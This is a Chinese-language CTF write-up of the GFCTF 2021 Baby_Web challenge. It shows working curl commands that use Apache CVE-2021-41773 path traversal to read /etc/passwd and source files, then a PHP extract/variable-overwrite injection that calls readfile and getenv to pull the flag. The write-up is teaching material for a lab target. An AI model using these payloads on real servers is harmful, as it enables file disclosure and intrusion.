Writeup 4 GFCTF 2021 Baby_Web

Writeup 4 GFCTF 2021 Baby_Web

面向小白的详细讲解,从"为什么会有这个漏洞"到"每一步命令在干什么"都尽量说清楚。

一、题目信息

  • 题目名 :[GFCTF 2021]Baby_Web
  • 类型:Web / PHP 代码审计 / 变量覆盖 / 路径穿越
  • 靶机 :http://node4.anna.nssnode.cn:24195/
  • 最终 flag :NSSCTF{56aff7f2-3d06-4482-96a7-db53d60ed909}

二、先看首页:两个关键提示

访问首页,返回:

html 复制代码
<h1>Welcome To GFCTF 12th!!</h1>
<!--源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?-->

这里有两个信息:

  1. 源码在"上层目录"的 xxx.php.txt 里 。网站根目录通常是 /var/www/html,那"上层目录"就是 /var/www/。
  2. "但你怎么才能看到它呢?" 暗示正常访问 /var/www/ 是访问不到的,需要某种"穿越"手段。

这就引出了第一个漏洞:Apache CVE-2021-41773 路径穿越。


三、漏洞一:CVE-2021-41773 路径穿越

3.1 这个漏洞是什么?

Apache HTTP Server 2.4.49 版本在处理 URL 路径时,有一个"归一化"的缺陷。

正常情况:Apache 会把 URL 里的 ../ 清理掉,防止你跳出网站根目录。比如你请求:

复制代码
http://site/../../etc/passwd

Apache 会把它规范化成 /etc/passwd 相对于网站根目录的路径,或者直接拒绝,不会让你真的读到系统文件。

但 2.4.49 版本里,如果你把 .. 编码 成 .%2e(%2e 是 . 的 URL 编码),Apache 的归一化逻辑就认不出来了,会把它当成普通字符放行。等到真正去文件系统找文件时,%2e 被解码成 .,于是 .%2e 变成了 ..,成功穿越。

一句话 :Apache 检查路径时看到的是 .%2e(以为不是 ..),但实际读文件时它变成了 ..,于是跳出了限制目录。

3.2 为什么要有 /cgi-bin/?

这个漏洞的利用有一个前提:服务器开启了 mod_cgi,并且 /cgi-bin/ 目录被配置为可执行 CGI 脚本。因为路径穿越的触发点在 CGI 路径处理逻辑里。题目环境正好开了 /cgi-bin,所以可以直接打。

3.3 读 /etc/passwd 验证

先验证穿越是否成立:

bash 复制代码
root@Rambo:/GFCTF_2021_Baby_Web# curl --path-as-is "http://node4.anna.nssnode.cn:20495/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"

运行结果:

bash 复制代码
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
root@Rambo:/GFCTF_2021_Baby_Web#

命令解释:

  • --path-as-is:让 curl 不要 自动规范化 URL。curl 默认会把 .%2e 这类东西"修正"掉,导致请求发出去时已经不是我们想要的了。加上这个参数,curl 会原样发送。
  • .%2e 就是 .. 的编码形式,/.%2e/ 等价于 /../。
  • 四个 .%2e 表示向上跳四层:从 /cgi-bin/ 出发,../ 到 /,再 ../ 还是 /(根目录再往上还是根),所以四层足够到根目录。
  • 最终路径等价于 /etc/passwd。

返回 root:x:0:0:...,说明穿越成功,可以读系统文件。

3.4 读源码

首页提示源码在"上层目录" /var/www/ 里,文件名是 xxx.php.txt。结合常见命名,试 index.php.txt 和 Class.php.txt:

访问 index.php.txt:

bash 复制代码
root@Rambo:/GFCTF_2021_Baby_Web# curl --path-as-is "http://node4.anna.nssnode.cn:20495/cgi-bin/.%2e/.%2e/.%2e/.%2e/var/www/index.php.txt"

运行结果:

php+HTML 复制代码
<h1>Welcome To GFCTF 12th!!</h1>
<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);

?>
<!--源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?-->
root@Rambo:/GFCTF_2021_Baby_Web#

访问 Class.php.txt:

bash 复制代码
root@Rambo:/GFCTF_2021_Baby_Web# curl --path-as-is "http://node4.anna.nssnode.cn:20495/cgi-bin/.%2e/.%2e/.%2e/.%2e/var/www/Class.php.txt"

运行结果:

bash 复制代码
<?php
defined('main') or die("no!!");
Class Temp{
    private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
    private $template;
    public function __construct($data){

        $this->date = array_merge($this->date,$data);
    }
    public function getTempName($template,$dir){
        if($dir === 'admin'){
            $this->template = str_replace('..','','./template/admin/'.$template);
            if(!is_file($this->template)){
                die("no!!");
            }
        }
        else{
            $this->template = './template/index.html';
        }
    }
    public function display($template,$space=''){

        extract($this->date);
        $this->getTempName($template,$space);
        include($this->template);
    }
    public function listdata($_params){
        $system = [
            'db' => '',
            'app' => '',
            'num' => '',
            'sum' => '',
            'form' => '',
            'page' => '',
            'site' => '',
            'flag' => '',
            'not_flag' => '',
            'show_flag' => '',
            'more' => '',
            'catid' => '',
            'field' => '',
            'order' => '',
            'space' => '',
            'table' => '',
            'table_site' => '',
            'total' => '',
            'join' => '',
            'on' => '',
            'action' => '',
            'return' => '',
            'sbpage' => '',
            'module' => '',
            'urlrule' => '',
            'pagesize' => '',
            'pagefile' => '',
        ];

        $param = $where = [];

        $_params = trim($_params);

        $params = explode(' ', $_params);
        if (in_array($params[0], ['list','function'])) {
            $params[0] = 'action='.$params[0];
        }
        foreach ($params as $t) {
            $var = substr($t, 0, strpos($t, '='));
            $val = substr($t, strpos($t, '=') + 1);
            if (!$var) {
                continue;
            }
            if (isset($system[$var])) {
                $system[$var] = $val;
            } else {
                $param[$var] = $val;
            }
        }
        // action
        switch ($system['action']) {

            case 'function':

                if (!isset($param['name'])) {
                    return  'hacker!!';
                } elseif (!function_exists($param['name'])) {
                    return 'hacker!!';
                }

                $force = $param['force'];
                if (!$force) {
                    $p = [];
                    foreach ($param as $var => $t) {
                        if (strpos($var, 'param') === 0) {
                            $n = intval(substr($var, 5));
                            $p[$n] = $t;
                        }
                    }
                    if ($p) {

                        $rt = call_user_func_array($param['name'], $p);
                    } else {
                        $rt = call_user_func($param['name']);
                    }
                    return $rt;
                }else{
                    return null;
                }
            case 'list':
                return json_encode($this->date);
        }
        return null;
    }
}
root@Rambo:/GFCTF_2021_Baby_Web#

路径解释:

从 /cgi-bin/ 出发,四个 .%2e 跳到 /,然后访问 var/www/index.php.txt,得到 /var/www/index.php.txt 的源码。Class.php.txt 同理。

这两条命令成功读到了源码,进入代码审计阶段。


四、源码审计:变量覆盖是怎么形成的

4.1 index.php 源码

php 复制代码
<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);
?>

逐行解释:

  • error_reporting(0):关闭错误显示,防止报错泄露信息。
  • define("main","main"):定义常量 main,Class.php 里会检查这个常量,防止直接访问 Class.php。
  • include "Class.php":引入类文件。
  • $temp = new Temp($_POST):把整个 $_POST 数组传给 Temp 类的构造函数。这是变量覆盖的源头。
  • $temp->display($_GET['filename']):调用 display 方法,参数来自 GET 的 filename。

4.2 Class.php 关键代码

php 复制代码
Class Temp{
    private $date=['version'=>'1.0','img'=>'...'];
    private $template;

    public function __construct($data){
        $this->date = array_merge($this->date, $data);
    }

    public function getTempName($template, $dir){
        if($dir === 'admin'){
            $this->template = str_replace('..','','./template/admin/'.$template);
            if(!is_file($this->template)){
                die("no!!");
            }
        } else {
            $this->template = './template/index.html';
        }
    }

    public function display($template, $space=''){
        extract($this->date);
        $this->getTempName($template, $space);
        include($this->template);
    }

    public function listdata($_params){
        // ... 后面详细讲
    }
}

4.3 第一步覆盖:array_merge 把 POST 数据合进 $this->date

构造函数:

php 复制代码
public function __construct($data){
    $this->date = array_merge($this->date, $data);
}

$data 是 $_POST,也就是你 POST 上来的所有键值对。array_merge 会把 $_POST 的顶层键 合并进 $this->date。

举例:如果 POST:

复制代码
space=admin&template=index.html&mod=xxx

那么 $_POST 是:

php 复制代码
['space'=>'admin', 'template'=>'index.html', 'mod'=>'xxx']

array_merge 后 $this->date 变成:

php 复制代码
[
  'version'=>'1.0',
  'img'=>'...',
  'space'=>'admin',
  'template'=>'index.html',
  'mod'=>'xxx'
]

关键点 :POST 的键会原样成为 $this->date 的键。

4.4 第二步覆盖:extract 把数组解构成变量

display 方法:

php 复制代码
public function display($template, $space=''){
    extract($this->date);          // ← 这里
    $this->getTempName($template, $space);
    include($this->template);
}

extract($array) 是 PHP 的一个函数,作用是把数组里的键值对变成变量。例如:

php 复制代码
$arr = ['space'=>'admin', 'template'=>'index.html'];
extract($arr);
// 等价于:
// $space = 'admin';
// $template = 'index.html';

extract 默认行为是 EXTR_OVERWRITE,即如果变量已存在,会覆盖它。

而 display($template, $space='') 的两个参数 $template 和 $space 在函数调用时已经被赋值了:

  • $template = $_GET['filename'](我们传 filename=test,所以是 'test')
  • $space = ''(默认值)

但 extract($this->date) 执行后,如果 $this->date 里有 template 和 space 键,就会覆盖这两个局部变量。

所以我们 POST space=admin 和 template=index.html,extract 后:

  • $space 从 '' 变成 'admin'
  • $template 从 'test' 变成 'index.html'

这就是变量覆盖 。$_GET['filename'] 传什么都不重要了,因为会被 POST 的 template 覆盖。

4.5 进入 admin 分支

getTempName($template, $space) 被调用:

php 复制代码
if($dir === 'admin'){   // $dir 就是 $space,现在是 'admin'
    $this->template = str_replace('..','','./template/admin/'.$template);
    if(!is_file($this->template)){
        die("no!!");
    }
}

因为 $space === 'admin',进入 if 分支:

  • $template 是 'index.html'
  • 拼接:'./template/admin/' . 'index.html' = './template/admin/index.html'
  • str_replace('..','',...):这个函数会删除所有 .. 。但 index.html 里没有 ..,所以路径不变。
  • is_file('./template/admin/index.html'):检查这个文件是否存在。存在则通过。

注意 :这里 str_replace('..','',...) 是一个"防护",试图阻止路径穿越。但它只删除 ..,而且删除方式有讲究(后面会讲为什么 ....// 绕过失败)。

4.6 include 执行模板

php 复制代码
include($this->template);

$this->template 是 ./template/admin/index.html,include 会把这个文件的内容包含进来并作为 PHP 执行。

虽然文件扩展名是 .html,但 include 不关心扩展名,只要文件里有 <?php ?> 标签,PHP 就会解析执行。这就是为什么模板文件能调用 $this->listdata(...)。


五、模板文件与 listdata 的触发

5.1 admin 模板内容

访问 /template/admin/ 直接返回了模板源码(因为 Apache 没有把 .html 当 PHP 解析,直接当静态文件返回了):

bash 复制代码
root@Rambo:/GFCTF_2021_Baby_Web# curl --path-as-is "http://node4.anna.nssnode.cn:20495/template/admin/"

运行结果:

php+HTML 复制代码
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>后台</title>
</head>
<body>
<!--<img src="<?php echo $img;?>">-->
<div><?php echo $this->listdata("action=list module=$mod");?><div>
    <h6>version: <?php echo $version;?></h6>
</body>
</html>
root@Rambo:/GFCTF_2021_Baby_Web#

关键行:

php 复制代码
<?php echo $this->listdata("action=list module=$mod");?>
  • $this->listdata(...) 调用 Temp 类的 listdata 方法。
  • 参数是一个字符串 "action=list module=$mod"。
  • $mod 是从哪来的?display 里 extract($this->date) 之后,$mod 就是 $this->date['mod'],也就是我们 POST 的 mod 参数。

所以 $mod 完全可控 ,它会被拼进 listdata 的参数串里。

5.2 listdata 方法详解

php 复制代码
public function listdata($_params){
    $system = [
        'db'=>'', 'app'=>'', 'num'=>'', 'sum'=>'', 'form'=>'', 'page'=>'',
        'site'=>'', 'flag'=>'', 'not_flag'=>'', 'show_flag'=>'', 'more'=>'',
        'catid'=>'', 'field'=>'', 'order'=>'', 'space'=>'', 'table'=>'',
        'table_site'=>'', 'total'=>'', 'join'=>'', 'on'=>'', 'action'=>'',
        'return'=>'', 'sbpage'=>'', 'module'=>'', 'urlrule'=>'', 'pagesize'=>'',
        'pagefile'=>'',
    ];
    $param = $where = [];
    $_params = trim($_params);
    $params = explode(' ', $_params);   // 按空格切分

    if (in_array($params[0], ['list','function'])) {
        $params[0] = 'action='.$params[0];
    }

    foreach ($params as $t) {
        $var = substr($t, 0, strpos($t, '='));        // 等号左边
        $val = substr($t, strpos($t, '=') + 1);       // 等号右边
        if (!$var) continue;
        if (isset($system[$var])) {
            $system[$var] = $val;    // 已知键 → 写进 $system
        } else {
            $param[$var] = $val;     // 未知键 → 写进 $param
        }
    }

    switch ($system['action']) {
        case 'function':
            if (!isset($param['name'])) return 'hacker!!';
            elseif (!function_exists($param['name'])) return 'hacker!!';

            $force = $param['force'];
            if (!$force) {
                $p = [];
                foreach ($param as $var => $t) {
                    if (strpos($var, 'param') === 0) {
                        $n = intval(substr($var, 5));
                        $p[$n] = $t;
                    }
                }
                if ($p) {
                    $rt = call_user_func_array($param['name'], $p);
                } else {
                    $rt = call_user_func($param['name']);
                }
                return $rt;
            } else {
                return null;
            }
        case 'list':
            return json_encode($this->date);
    }
    return null;
}

逐段解释:

(1)按空格切分参数

php 复制代码
$params = explode(' ', $_params);

listdata("action=list module=$mod"),如果 $mod 是 x action=function name=readfile param0=/etc/passwd,那么完整字符串是:

复制代码
action=list module=x action=function name=readfile param0=/etc/passwd

explode(' ') 后得到:

复制代码
['action=list', 'module=x', 'action=function', 'name=readfile', 'param0=/etc/passwd']

(2)解析每个 key=value

对每个 token,用 strpos($t, '=') 找到等号位置,左边是 $var,右边是 $val。

  • action=list → $system['action']='list'
  • module=x → $system['module']='x'
  • action=function → $system['action']='function'(覆盖了前面的 list!)
  • name=readfile → $param['name']='readfile'
  • param0=/etc/passwd → $param['param0']='/etc/passwd'

关键 :action 出现两次,后一个覆盖前一个。模板里硬编码的是 action=list,但我们在 $mod 里注入 action=function,就把 $system['action'] 改成了 function,从而进入 case 'function' 分支。

(3)case 'function' 执行任意函数

php 复制代码
if (!isset($param['name'])) return 'hacker!!';
elseif (!function_exists($param['name'])) return 'hacker!!';
  • $param['name'] 必须是存在的函数名。function_exists('system') 会检查函数是否存在且未被禁用 。如果 system 在 disable_functions 里,function_exists 返回 false,直接返回 hacker!!。这就是为什么不能直接用 system。
  • readfile、getenv、scandir 等读取类函数通常没被禁用,可以用。

(4)收集参数并调用

php 复制代码
$force = $param['force'];
if (!$force) {
    $p = [];
    foreach ($param as $var => $t) {
        if (strpos($var, 'param') === 0) {
            $n = intval(substr($var, 5));
            $p[$n] = $t;
        }
    }
    if ($p) {
        $rt = call_user_func_array($param['name'], $p);
    } else {
        $rt = call_user_func($param['name']);
    }
    return $rt;
}
  • $force 不传就是 null,!$force 为真,进入执行分支。
  • 遍历 $param,把键名以 param 开头的收集到 $p 数组,substr($var, 5) 取 param 后面的数字作为索引。param0 → $p[0],param1 → $p[1]。
  • call_user_func_array('readfile', ['/etc/passwd']) 等价于 readfile('/etc/passwd'),读出文件内容并输出。

(5)case 'list' 只是返回 JSON

如果 action 还是 list,就 json_encode($this->date),只是回显数据,不能执行命令。所以必须注入 action=function 覆盖它。


六、完整攻击链路

把上面所有步骤串起来:

6.1 链路总览

复制代码
① CVE-2021-41773 读源码
   → 拿到 index.php 和 Class.php
   → 审计出变量覆盖 + listdata 任意函数调用

② POST space=admin
   → $_POST 合并进 $this->date
   → extract 覆盖 display 的 $space 参数
   → getTempName 进入 admin 分支

③ POST template=index.html
   → 覆盖 display 的 $template 参数
   → 构造 ./template/admin/index.html
   → is_file 通过,include 执行模板

④ 模板执行 $this->listdata("action=list module=$mod")
   → $mod 来自 POST,可控

⑤ POST mod=x action=function name=readfile param0=/etc/passwd
   → listdata 按空格切分
   → action=function 覆盖 action=list
   → name=readfile 指定函数
   → param0=/etc/passwd 作为参数
   → call_user_func_array('readfile', ['/etc/passwd'])
   → 读出文件内容

⑥ 把 param0 换成 FLAG 环境变量
   → name=getenv param0=FLAG
   → getenv('FLAG') 读出 flag

6.2 为什么 ....// 穿越失败(补充说明)

一开始我们尝试用 ....// 绕过 str_replace('..','',...),但失败了。原因是 str_replace 是全局替换 ,会删除字符串中所有 ..。

....// 中包含两个 ..(.... 可以拆成 .. + ..)。str_replace 先删第一个 ..,剩下 ../,其中又包含 ..,继续删,最终变成 /。所以 ....// 经过 str_replace 后完全失去穿越能力,变成 /,路径就不对了。

这也是为什么最终没有走"包含任意文件"的路,而是走"包含固定模板 + 变量覆盖触发 listdata"的路。template=index.html 里没有 ..,str_replace 不改变它,is_file 能通过。

6.3 为什么不能用 system

listdata 里:

php 复制代码
elseif (!function_exists($param['name'])) return 'hacker!!';

function_exists 检查函数是否存在且可用。如果 system 被写在 php.ini 的 disable_functions 里,function_exists('system') 返回 false,直接返回 hacker!!。所以必须用没被禁用的函数,比如:

  • readfile:读文件并输出
  • getenv:读环境变量
  • scandir:列目录
  • file_get_contents:读文件(返回字符串,需要 echo,但 listdata 直接 return $rt,模板里 echo $this->listdata(...),所以也能输出)

七、最终命令与结果

7.1 验证任意函数调用

bash 复制代码
curl -X POST "http://node4.anna.nssnode.cn:24195/" \
  --data-urlencode "space=admin" \
  --data-urlencode "template=index.html" \
  --data-urlencode "mod=x action=function name=readfile param0=/etc/passwd"

返回中看到 root:x:0:0:...,说明链通了。

7.2 读 flag

bash 复制代码
root@Rambo:/GFCTF_2021_Baby_Web# curl -X POST "http://node4.anna.nssnode.cn:20495/" \
>   --data-urlencode "space=admin" \
>   --data-urlencode "template=index.html" \
>   --data-urlencode "mod=x action=function name=getenv param0=FLAG"

返回:

bash 复制代码
<h1>Welcome To GFCTF 12th!!</h1>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>后台</title>
</head>
<body>
<!--<img src="https://www.apache.org/img/asf-estd-1999-logo.jpg">-->
<div>NSSCTF{861ce0dd-2a29-4a1d-aa91-f53cf05aabdd}<div>
    <h6>version: 1.0</h6>
</body>
</html><!--源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?-->
root@Rambo:/GFCTF_2021_Baby_Web#

7.3 命令参数解释

  • -X POST:发送 POST 请求。
  • --data-urlencode "key=value":把 key=value 做 URL 编码后作为 POST body。因为 mod 的值里有空格和特殊字符,必须编码,否则会被截断或解析错误。
  • space=admin:覆盖 $space,进入 admin 分支。
  • template=index.html:覆盖 $template,让 is_file('./template/admin/index.html') 通过。
  • mod=x action=function name=getenv param0=FLAG:注入到 listdata 的参数串,覆盖 action 为 function,指定函数 getenv,参数 FLAG。

八、知识点总结

知识点 说明
CVE-2021-41773 Apache 2.4.49 路径穿越,.%2e 绕过归一化,可读系统文件
--path-as-is curl 不规范化 URL,原样发送 .%2e
array_merge 变量覆盖 $_POST 顶层键合并进 $this->date
extract 变量覆盖 数组键值对变成变量,默认覆盖已存在的变量
str_replace('..','') 的缺陷 全局替换,....// 会被删成 /,无法穿越
include 执行非 .php 文件 .html 里的 <?php ?> 仍会被解析
call_user_func_array 动态调用函数,参数数组可控
function_exists + disable_functions 被禁用函数返回 false,需换用未禁用函数
getenv 读环境变量 CTF 容器常把 flag 放在环境变量里

九、小白容易踩的坑

  1. date[template] vs template :__construct 收到的是整个 $_POST,所以 POST 的顶层键 才会被合并。写成 date[template] 会变成 $this->date['date'] 数组,extract 后得到 $date 而不是 $template,覆盖失败。
  2. template=index.php vs index.html :getTempName 构造的是 ./template/admin/ + 文件名,必须和真实文件名一致,否则 is_file 失败返回 no!!。
  3. system 被禁用 :不要一上来就用 system,先用 readfile 或 getenv 测试。
  4. $IFS 的问题 :如果非要用命令执行函数,空格会被 explode(' ') 切分,需要用 $IFS 代替空格。但这题 system 被禁,用不上。
  5. str_replace('..','') 的全局性 :....// 不是万能绕过,要看替换函数是不是全局的。这题是全局替换,....// 会变成 /。

Rambo

2026年11月8日

🎉🎉🎉

相关推荐
kingx33 小时前
Bugku 逆向 MatrixHunter:黑盒 oracle + GF(2) 消元出唯一解
网络安全·矩阵·逆向·ctf
山甫aa1 天前
锁一篇搞定:乐观锁、悲观锁、CAS、数据库锁与分布式锁【从零开始的 Web 后端学习】
java·数据库·分布式·后端·学习·web
kingx32 天前
Bugku 3122 谷歌小恐龙题解:纯离线逆向 Vault 的 AES-GCM 加密资源(附 Python 解密器)
java·逆向·ctf·bugku·aes-gcm
kingx32 天前
Bugku 326 Baby-heap1 题解:glibc 2.23 堆溢出到 FSOP 劫持 _IO_list_all(附完整 exp)
pwn·ctf·glibc·堆溢出·fsop
hengdonghui3 天前
Writeup 4 0xGame 2021 · command (WEB)
web·ctf·rce(远程代码执行)
0xBADCODE3 天前
2026 强网杯 Web 题 cwp · 全链路复盘
前端·安全·web安全·网络安全·系统安全·ctf
kingx36 天前
BugKu 渗透测试 4 实战:文件上传打点,5 Flag 全通
数据库·渗透测试·web·内网渗透
kingx36 天前
Bugku WEB 题解总集:文件包含 / SQLi / 反序列化 / SSTI / 反爬 / 组件漏洞
web安全·网络安全·ctf·bugku
kingx36 天前
Bugku Reverse 与 Android 题解总集:APK / native / PE / IPA
android·逆向·ctf·bugku